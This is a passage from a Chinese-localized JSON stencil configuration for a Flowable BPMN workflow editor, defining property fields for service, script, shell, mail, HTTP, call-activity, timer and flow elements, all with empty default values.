]\n  }, {\n    \"name\" : \"formkeydefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"formkeydefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u8868\\u5355\\u952e(key)\",\n      \"value\" : \"\",\n      \"description\" : \"\\u4e00\\u4e2a\\u8868\\u5355\\u7684\\u552f\\u4e00\\u952e.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"duedatedefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"duedatedefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u5230\\u671f\\u65f6\\u95f4\",\n      \"value\" : \"\",\n      \"description\" : \"\\u7528\\u6237\\u4efb\\u52a1\\u5230\\u671f\\u65f6\\u95f4.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"prioritydefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"prioritydefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u4f18\\u5148\\u7ea7\",\n      \"value\" : \"\",\n      \"description\" : \"\\u7528\\u6237\\u4efb\\u52a1\\u7684\\u4f18\\u5148\\u7ea7.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"duedatedefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"duedatedefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u5230\\u671f\\u65f6\\u95f4\",\n      \"value\" : \"\",\n      \"description\" : \"\\u7528\\u6237\\u4efb\\u52a1\\u5230\\u671f\\u65f6\\u95f4.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskclasspackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskclass\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u7c7b\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9e\\u73b0\\u670d\\u52a1\\u4efb\\u52a1\\u903b\\u8f91\\u7684\\u7c7b.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskexpressionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskexpression\",\n      \"type\" : \"Text\",\n      \"title\" : \"\\u8868\\u8fbe\\u5f0f\",\n      \"value\" : \"\",\n      \"description\" : \"\\u670d\\u52a1\\u4efb\\u52a1\\u5b9a\\u4e49\\u7684\\u903b\\u8f91\\u4e0e\\u8868\\u8fbe\\u5f0f.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskdelegateexpressionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskdelegateexpression\",\n      \"type\" : \"Text\",\n      \"title\" : \"\\u59d4\\u6258\\u8868\\u8fbe\\u5f0f\",\n      \"value\" : \"\",\n      \"description\" : \"\\u670d\\u52a1\\u4efb\\u52a1\\u5b9a\\u4e49\\u7684\\u903b\\u8f91\\u4e0e\\u59d4\\u6258\\u8868\\u8fbe\\u5f0f.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskfieldspackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskfields\",\n      \"type\" : \"Complex\",\n      \"title\" : \"\\u7c7b\\u5b57\\u6bb5\",\n      \"value\" : \"\",\n      \"description\" : \"\\u6269\\u5c55\\u5b57\\u6bb5\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskresultvariablepackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskresultvariable\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u7ed3\\u679c\\u53d8\\u91cf\\u540d\\u79f0\",\n      \"value\" : \"\",\n      \"description\" : \"\\u7528\\u6765\\u5b58\\u50a8\\u670d\\u52a1\\u4efb\\u52a1\\u7ed3\\u679c\\u7684\\u53d8\\u91cf\\u540d.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetaskresultvariablepackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetaskUseLocalScopeForResultVariable\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"\\u7ed3\\u679c\\u53d8\\u91cf\\u540d\\u79f0\",\n      \"value\" : \"false\",\n      \"description\" : \"\\u7528\\u6765\\u5b58\\u50a8\\u670d\\u52a1\\u4efb\\u52a1\\u7ed3\\u679c\\u7684\\u53d8\\u91cf\\u540d.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"servicetasktriggerablepackage\",\n    \"properties\" : [ {\n      \"id\" : \"servicetasktriggerable\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"将服务任务设置为可触发的\",\n      \"value\" : \"false\",\n      \"description\" : \"将服务任务设置为可触发的\",\n      \"popular\" : true\n    } ]\n  }, {\n      \"name\": \"scriptformatpackage\",\n    \"properties\" : [ {\n          \"id\": \"scriptformat\",\n          \"type\": \"String\",\n          \"title\": \"\\u811a\\u672c\\u683c\\u5f0f\",\n          \"value\": \"\",\n          \"description\": \"\\u811a\\u672c\\u4efb\\u52a1\\u7684\\u811a\\u672c\\u683c\\u5f0f.\",\n          \"popular\": true\n    } ]\n  }, {\n      \"name\": \"scripttextpackage\",\n    \"properties\" : [ {\n          \"id\": \"scripttext\",\n          \"type\": \"Text\",\n          \"title\": \"\\u811a\\u672c\",\n          \"value\": \"\",\n          \"description\": \"\\u811a\\u672c\\u4efb\\u52a1\\u7684\\u811a\\u672c\\u5185\\u5bb9.\",\n          \"popular\": true\n        }\n      ]\n    }, {\n    \"name\" : \"shellcommandpackage\",\n    \"properties\" : [ {\n      \"id\" : \"shellcommand\",\n      \"type\" : \"String\",\n      \"title\" : \"命令\",\n      \"value\" : \"\",\n      \"description\" : \"脚本任务命令\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shellarg1package\",\n    \"properties\" : [ {\n      \"id\" : \"shellarg1\",\n      \"type\" : \"Text\",\n      \"title\" : \"参数 1\",\n      \"value\" : \"\",\n      \"description\" : \"脚本命令的参数 1\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shellarg2package\",\n    \"properties\" : [ {\n      \"id\" : \"shellarg2\",\n      \"type\" : \"Text\",\n      \"title\" : \"参数 2\",\n      \"value\" : \"\",\n      \"description\" : \"脚本命令参数 2\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shellarg3package\",\n    \"properties\" : [ {\n      \"id\" : \"shellarg3\",\n      \"type\" : \"Text\",\n      \"title\" : \"参数 3\",\n      \"value\" : \"\",\n      \"description\" : \"脚本命令参数 3\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shellarg4package\",\n    \"properties\" : [ {\n      \"id\" : \"shellarg4\",\n      \"type\" : \"Text\",\n      \"title\" : \"参数 4\",\n      \"value\" : \"\",\n      \"description\" : \"脚本命令参数 4\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shellarg5package\",\n    \"properties\" : [ {\n      \"id\" : \"shellarg5\",\n      \"type\" : \"Text\",\n      \"title\" : \"参数 5\",\n      \"value\" : \"\",\n      \"description\" : \"脚本命令参数 5\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shellwaitpackage\",\n    \"properties\" : [ {\n      \"id\" : \"shellwait\",\n      \"type\" : \"Text\",\n      \"title\" : \"等待\",\n      \"value\" : \"\",\n      \"description\" : \"等待shell命令执行结束的标志\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shelloutputvariablepackage\",\n    \"properties\" : [ {\n      \"id\" : \"shelloutputvariable\",\n      \"type\" : \"Text\",\n      \"title\" : \"输出参数\",\n      \"value\" : \"\",\n      \"description\" : \"变量存储shell共用输出\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shellerrorcodevariablepackage\",\n    \"properties\" : [ {\n      \"id\" : \"shellerrorcodevariable\",\n      \"type\" : \"错误代码变量\",\n      \"value\" : \"\",\n      \"description\" : \"变量存储shell 命令错误代码\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shellredirecterrorpackage\",\n    \"properties\" : [ {\n      \"id\" : \"shellredirecterror\",\n      \"type\" : \"Text\",\n      \"title\" : \"重定向错误\",\n      \"value\" : \"\",\n      \"description\" : \"如果true合并错误输出与标准输出\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shellcleanenvpackage\",\n    \"properties\" : [ {\n      \"id\" : \"shellcleanenv\",\n      \"type\" : \"Text\",\n      \"title\" : \"清除环境\",\n      \"value\" : \"\",\n      \"description\" : \"清除shell执行环境\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"shelldirectorypackage\",\n    \"properties\" : [ {\n      \"id\" : \"shelldirectory\",\n      \"type\" : \"Text\",\n      \"title\" : \"目录\",\n      \"value\" : \"\",\n      \"description\" : \"shell运行目录\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"ruletask_rulespackage\",\n    \"properties\" : [ {\n      \"id\" : \"ruletask_rules\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u89c4\\u5219\",\n      \"value\" : \"\",\n      \"description\" : \"\\u89c4\\u5219\\u4efb\\u52a1\\u7684\\u89c4\\u5219.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"ruletask_variables_inputpackage\",\n    \"properties\" : [ {\n      \"id\" : \"ruletask_variables_input\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u8f93\\u5165\\u53d8\\u91cf\",\n      \"value\" : \"\",\n      \"description\" : \"\\u89c4\\u5219\\u4efb\\u52a1\\u7684\\u8f93\\u5165\\u53d8\\u91cf.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"ruletask_excludepackage\",\n    \"properties\" : [ {\n      \"id\" : \"ruletask_exclude\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"\\u6392\\u9664\",\n      \"value\" : \"false\",\n      \"description\" : \"\\u4f5c\\u4e3a\\u6392\\u9664\\u4f7f\\u7528\\u89c4\\u5219\\u5c5e\\u6027.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"ruletask_resultpackage\",\n    \"properties\" : [ {\n      \"id\" : \"ruletask_result\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u8f93\\u51fa\\u53d8\\u91cf\",\n      \"value\" : \"\",\n      \"description\" : \"\\u89c4\\u5219\\u4efb\\u52a1\\u7684\\u8f93\\u51fa\\u53d8\\u91cf.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtasktopackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskto\",\n      \"type\" : \"Text\",\n      \"title\" : \"\\u63a5\\u6536\\u4eba\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5982\\u679c\\u662f\\u591a\\u4e2a\\u6536\\u4ef6\\u4eba\\uff0c\\u8bf7\\u4ee5\\u9017\\u53f7\\u5206\\u9694.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtaskfrompackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskfrom\",\n      \"type\" : \"Text\",\n      \"title\" : \"\\u53d1\\u9001\\u4eba\",\n      \"value\" : \"\",\n      \"description\" : \"\\u53d1\\u4ef6\\u4eba\\u7684\\u7535\\u5b50\\u90ae\\u4ef6\\u5730\\u5740\\u3002\\u5982\\u679c\\u672a\\u63d0\\u4f9b\\uff0c\\u4f7f\\u7528\\u9ed8\\u8ba4\\u914d\\u7f6e\\u7684\\u53d1\\u4ef6\\u4eba\\u5730\\u5740.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"\\u4e3b\\u9898\",\n    \"properties\" : [ {\n      \"id\" : \"mailtasksubject\",\n      \"type\" : \"Text\",\n      \"title\" : \"Subject\",\n      \"value\" : \"\",\n      \"description\" : \"\\u90ae\\u4ef6\\u4e3b\\u9898.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtaskccpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskcc\",\n      \"type\" : \"Text\",\n      \"title\" : \"\\u6284\\u9001\",\n      \"value\" : \"\",\n      \"description\" : \"\\u6284\\u9001\\u6536\\u4ef6\\u4eba\\u5730\\u5740. \\u5982\\u679c\\u662f\\u591a\\u4e2a\\u6536\\u4ef6\\u4eba\\uff0c\\u8bf7\\u4ee5\\u9017\\u53f7\\u5206\\u9694\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtaskbccpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskbcc\",\n      \"type\" : \"Text\",\n      \"title\" : \"\\u5bc6\\u4ef6\\u6284\\u9001\",\n      \"value\" : \"\",\n      \"description\" : \"u5bc6\\u4ef6\\u6284\\u9001\\u6536\\u4ef6\\u4eba\\u5730\\u5740. \\u5982\\u679c\\u662f\\u591a\\u4e2a\\u6536\\u4ef6\\u4eba\\uff0c\\u8bf7\\u4ee5\\u9017\\u53f7\\u5206\\u9694\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtasktextpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtasktext\",\n      \"type\" : \"Text\",\n      \"title\" : \"\\u5185\\u5bb9\",\n      \"value\" : \"\",\n      \"description\" : \"\\u90ae\\u4ef6\\u5185\\u5bb9\\uff0c\\u53ea\\u80fd\\u53d1\\u9001\\u7eaf\\u6587\\u672c\\u3002\\u5982\\u679c\\u9700\\u8981\\u53d1\\u9001\\u590d\\u6742\\u5185\\u5bb9\\uff0c\\u53ef\\u4ee5\\u7ed3\\u5408\\u4f7f\\u7528HTML\\uff0c\\u5ba2\\u6237\\u7aef\\u4e0d\\u652f\\u6301\\u590d\\u6742\\u5185\\u5bb9\\uff0c\\u90ae\\u4ef6\\u5c06\\u88ab\\u9000\\u56de.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtaskhtmlpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskhtml\",\n      \"type\" : \"Text\",\n      \"title\" : \"Html\",\n      \"value\" : \"\",\n      \"description\" : \"A piece of HTML that is the content of the e-mail.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"mailtaskcharsetpackage\",\n    \"properties\" : [ {\n      \"id\" : \"mailtaskcharset\",\n      \"type\" : \"String\",\n      \"title\" : \"Html\",\n      \"value\" : \"\",\n      \"description\" : \"\\u4e00\\u6bb5HTML\\u7684\\u90ae\\u4ef6\\u7684\\u5185\\u5bb9.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskrequestmethodpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskrequestmethod\",\n      \"type\" : \"flowable-http-request-method\",\n      \"title\" : \"请求方式\",\n      \"value\" : \"\",\n      \"description\" : \"请求方式 (例如 - GET,POST,PUT etc).\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskrequesturlpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskrequesturl\",\n      \"type\" : \"Text\",\n      \"title\" : \"请求地址\",\n      \"value\" : \"\",\n      \"description\" : \"请求地址 (例如 - http://flowable.org).\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskrequestheaderspackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskrequestheaders\",\n      \"type\" : \"Text\",\n      \"title\" : \"请求头\",\n      \"value\" : \"\",\n      \"description\" : \"HTTP请求头的分开行 (例如 - Content-Type: application/json).\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskrequestbodypackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskrequestbody\",\n      \"type\" : \"Text\",\n      \"title\" : \"请求体\",\n      \"value\" : \"\",\n      \"description\" : \"请求体 (例如- ${sampleBody}).\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskrequesttimeoutpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskrequesttimeout\",\n      \"type\" : \"String\",\n      \"title\" : \"请求超时\",\n      \"value\" : \"\",\n      \"description\" : \"请求超时以毫秒为单位 (For example - 5000).\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskdisallowredirectspackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskdisallowredirects\",\n      \"type\" : \"String\",\n      \"title\" : \"不允许重定向\",\n      \"value\" : \"\",\n      \"description\" : \"禁止HTTP重定向的标志。\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskfailstatuscodespackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskfailstatuscodes\",\n      \"type\" : \"String\",\n      \"title\" : \"失败状态码\",\n      \"value\" : \"\",\n      \"description\" : \"用逗号分隔的HTTP响应状态代码列表,例如 400,5XX.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskhandlestatuscodespackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskhandlestatuscodes\",\n      \"type\" : \"String\",\n      \"title\" : \"处理状态码\",\n      \"value\" : \"\",\n      \"description\" : \"忽略HTTP响应状态代码列表的逗号, 例如 404,3XX.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskignoreexceptionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskignoreexception\",\n      \"type\" : \"String\",\n      \"title\" : \"忽略异常\",\n      \"value\" : \"\",\n      \"description\" : \"忽略异常的标志\",\n      \"popular\" : true\n    } ]\n  }, \n  {\n    \"name\" : \"httptasksaveresponseparameterstransientpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptasksaveresponseparameterstransient\",\n      \"type\" : \"String\",\n      \"title\" : \"将响应保存为瞬态变量\",\n      \"value\" : \"\",\n      \"description\" : \"指示存储响应变量的标志\",\n      \"popular\" : true\n    } ]\n  }, \n  {\n    \"name\" : \"httptasksaveresponseasjsonpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptasksaveresponseasjson\",\n      \"type\" : \"String\",\n      \"title\" : \"保存响应为JSON\",\n      \"value\" : \"\",\n      \"description\" : \"指示将响应变量存储为JSON变量而不是字符串的标志\",\n      \"popular\" : true\n    } ]\n  },\n  {\n      \"name\": \"skipexpressionpackage\",\n      \"properties\": [\n        {\n          \"id\": \"skipexpression\",\n          \"type\": \"String\",\n          \"title\": \"自动跳过\",\n          \"value\": \"\",\n          \"description\": \"设置自动跳过的条件.\",\n          \"popular\": true\n        }\n      ]\n    }, {\n      \"name\": \"nodetypepackage\",\n      \"properties\": [\n        {\n          \"id\": \"nodetype\",\n          \"type\": \"dragon-nodetype-combobox\",\n          \"title\": \"节点类型\",\n          \"value\": \"\",\n          \"description\": \"节点类型\",\n          \"popular\": true,\n          \"items\": [\n            {\n              \"key\": \"审批中\",\n              \"value\": \"applying\"\n            },\n            {\n              \"key\": \"不审\",\n              \"value\": \"noapprove\"\n            },\n            {\n              \"key\": \"协同\",\n              \"value\": \"coordination\"\n            },\n            {\n              \"key\": \"评审\",\n              \"value\": \"review\"\n            },\n            {\n              \"key\": \"必审\",\n              \"value\": \"bs\"\n            },\n            {\n              \"key\": \"普通\",\n              \"value\": \"\"\n            }\n          ]\n        }\n      ]\n    },{\n      \"name\": \"editdatapackage\",\n      \"properties\": [\n        {\n          \"id\": \"iseditdata\",\n          \"type\": \"dragon-nodeeditdata-combobox\",\n          \"title\": \"是否可编辑\",\n          \"value\": \"\",\n          \"description\": \"数据在此节点是否可以编辑\",\n          \"popular\": true,\n          \"items\":[\n            {\n              \"key\": \"是\",\n              \"value\": \"true\"\n            },\n            {\n              \"key\": \"否\",\n              \"value\": \"\"\n            }\n          ]\n        }\n      ]\n    },{\n      \"name\": \"sequenceflowtextxpackage\",\n      \"properties\": [\n        {\n          \"id\": \"sequence_flow_text_x\",\n          \"type\": \"String\",\n          \"title\": \"线上文字位置\",\n          \"value\": \"\",\n          \"description\": \"线上文字位置\",\n          \"popular\": true\n        }\n      ]\n    },{\n    \"name\" : \"httptaskresponsevariablenamepackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskresponsevariablename\",\n      \"type\" : \"String\",\n      \"title\" : \"响应变量名\",\n      \"value\" : \"\",\n      \"description\" : \"定义变量名来存储HTTP响应.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptasksaverequestvariablespackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptasksaverequestvariables\",\n      \"type\" : \"String\",\n      \"title\" : \"保存请求变量\",\n      \"value\" : \"\",\n      \"description\" : \"保存请求变量的标志.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptasksaveresponseparameterspackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptasksaveresponseparameters\",\n      \"type\" : \"String\",\n      \"title\" : \"保存响应状态，标题\",\n      \"value\" : \"\",\n      \"description\" : \"保存响应状态、标题等的标志.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"httptaskresultvariableprefixpackage\",\n    \"properties\" : [ {\n      \"id\" : \"httptaskresultvariableprefix\",\n      \"type\" : \"String\",\n      \"title\" : \"结果变量前缀\",\n      \"value\" : \"\",\n      \"description\" : \"执行变量名称的前缀.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"callactivitycalledelementpackage\",\n    \"properties\" : [ {\n      \"id\" : \"callactivitycalledelement\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u8c03\\u7528\\u5143\\u7d20\",\n      \"value\" : \"\",\n      \"description\" : \"\\u6d41\\u7a0b\\u5f15\\u7528.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"callactivityinparameterspackage\",\n    \"properties\" : [ {\n      \"id\" : \"callactivityinparameters\",\n      \"type\" : \"Complex\",\n      \"title\" : \"\\u8f93\\u5165\\u53c2\\u6570\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u5165\\u8f93\\u51fa\\u53c2\\u6570\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"callactivityoutparameterspackage\",\n    \"properties\" : [ {\n      \"id\" : \"callactivityoutparameters\",\n      \"type\" : \"Complex\",\n      \"title\" : \"\\u8f93\\u51fa\\u53c2\\u6570\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49\\u8f93\\u51fa\\u53c2\\u6570\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"callactivityinheritvariablespackage\",\n    \"properties\" : [ {\n      \"id\" : \"callactivityinheritvariables\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"继承子过程中的变量\",\n      \"value\" : \"false\",\n      \"description\" : \"继承子过程中的父进程变量.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"callactivitysamedeploymentpackage\",\n    \"properties\" : [ {\n      \"id\" : \"callactivitysamedeployment\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"从相同的部署启动引用的进程.\",\n      \"value\" : \"false\",\n      \"description\" : \"使用来自相同部署的引用进程.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"callactivityprocessinstancenamepackage\",\n    \"properties\" : [ {\n      \"id\" : \"callactivityprocessinstancename\",\n      \"type\" : \"String\",\n      \"title\" : \"进程实例名\",\n      \"value\" : \"\",\n      \"description\" : \"一个解析到子进程实例名称的表达式\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"callactivityinheritbusinesskeypackage\",\n    \"properties\" : [ {\n      \"id\" : \"callactivityinheritbusinesskey\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"继承业务密钥\",\n      \"value\" : \"false\",\n      \"description\" : \"从父进程继承业务密钥.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"callactivityuselocalscopeforoutparameterspackage\",\n    \"properties\" : [ {\n      \"id\" : \"callactivityuselocalscopeforoutparameters\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"使用局部范围进行输出参数\",\n      \"value\" : \"false\",\n      \"description\" : \"使用局部变量作用域输出参数.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"callactivitybusinesskeypackage\",\n    \"properties\" : [ {\n      \"id\" : \"callactivitybusinesskey\",\n      \"type\" : \"String\",\n      \"title\" : \"业务密钥表达式\",\n      \"value\" : \"\",\n      \"description\" : \"解析为子进程实例的业务密钥的表达式\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"cameltaskcamelcontextpackage\",\n    \"properties\" : [ {\n      \"id\" : \"cameltaskcamelcontext\",\n      \"type\" : \"String\",\n      \"title\" : \"Camel context\",\n      \"value\" : \"\",\n      \"description\" : \"An optional camel context definition, if left empty the default is used.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"muletaskendpointurlpackage\",\n    \"properties\" : [ {\n      \"id\" : \"muletaskendpointurl\",\n      \"type\" : \"String\",\n      \"title\" : \"端点URL\",\n      \"value\" : \"\",\n      \"description\" : \"需要的端点URL将消息发送给Mule.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"muletasklanguagepackage\",\n    \"properties\" : [ {\n      \"id\" : \"muletasklanguage\",\n      \"type\" : \"String\",\n      \"title\" : \"语言\",\n      \"value\" : \"\",\n      \"description\" : \"解决负载表达式的语言所需的定义，如Juel.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"muletaskpayloadexpressionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"muletaskpayloadexpression\",\n      \"type\" : \"Text\",\n      \"title\" : \"有效载荷表达式\",\n      \"value\" : \"\",\n      \"description\" : \"必需定义效载荷的消息发送给Mule.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"muletaskresultvariablepackage\",\n    \"properties\" : [ {\n      \"id\" : \"muletaskresultvariable\",\n      \"type\" : \"String\",\n      \"title\" : \"结果变量\",\n      \"value\" : \"\",\n      \"description\" : \"返回的有效载荷的可选结果变量.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"conditionsequenceflowpackage\",\n    \"properties\" : [ {\n      \"id\" : \"conditionsequenceflow\",\n      \"type\" : \"Complex\",\n      \"title\" : \"\\u6d41\\u6761\\u4ef6\",\n      \"value\" : \"\",\n      \"description\" : \"\\u987a\\u5e8f\\u6d41\\u7684\\u6761\\u4ef6\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"defaultflowpackage\",\n    \"properties\" : [ {\n      \"id\" : \"defaultflow\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"\\u9ed8\\u8ba4\\u6d41\",\n      \"value\" : \"false\",\n      \"description\" : \"\\u5b9a\\u4e49\\u4f5c\\u4e3a\\u9ed8\\u8ba4\\u987a\\u5e8f\\u6d41\",\n      \"popular\" : true,\n      \"refToView\" : \"default\"\n    } ]\n  }, {\n    \"name\" : \"conditionalflowpackage\",\n    \"properties\" : [ {\n      \"id\" : \"conditionalflow\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"\\u6761\\u4ef6\\u6d41\",\n      \"value\" : \"false\",\n      \"description\" : \"\\u5b9a\\u4e49\\u987a\\u5e8f\\u6d41\\u7684\\u6761\\u4ef6\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"timercycledefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"timercycledefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u65f6\\u95f4\\u5468\\u671f\\uff08\\u4f8b\\u5982R3/PT10H\\uff09\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49ISO-8601\\u5468\\u671f\\u5b9a\\u65f6\\u5668.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"timerdatedefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"timerdatedefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u91c7\\u7528ISO-8601\\u65e5\\u671f\\u65f6\\u95f4\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49ISO-8601\\u65e5\\u671f\\u5b9a\\u65f6\\u5668.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"timerdurationdefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"timerdurationdefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u6301\\u7eed\\u65f6\\u95f4\\uff08\\u4f8b\\u5982PT5M\\uff09\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49ISO-8601\\u65f6\\u95f4\\u5b9a\\u65f6\\u5668.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"timerenddatedefinitionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"timerenddatedefinition\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u91c7\\u7528ISO-8601\\u7ed3\\u675f\\u65e5\\u671f\\u65f6\\u95f4\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49\\u5b9a\\u65f6\\u5668\\u4e0eISO-8601\\u6301\\u7eed\\u65f6\\u95f4.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"messagerefpackage\",\n    \"properties\" : [ {\n      \"id\" : \"messageref\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u6d88\\u606f\\u5f15\\u7528\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49\\u6d88\\u606f\\u540d\\u79f0.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"signalrefpackage\",\n    \"properties\" : [ {\n      \"id\" : \"signalref\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u4fe1\\u53f7\\u5f15\\u7528\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49\\u4fe1\\u53f7\\u540d\\u79f0.\",\n      \"popular\" : true\n    } ]\n 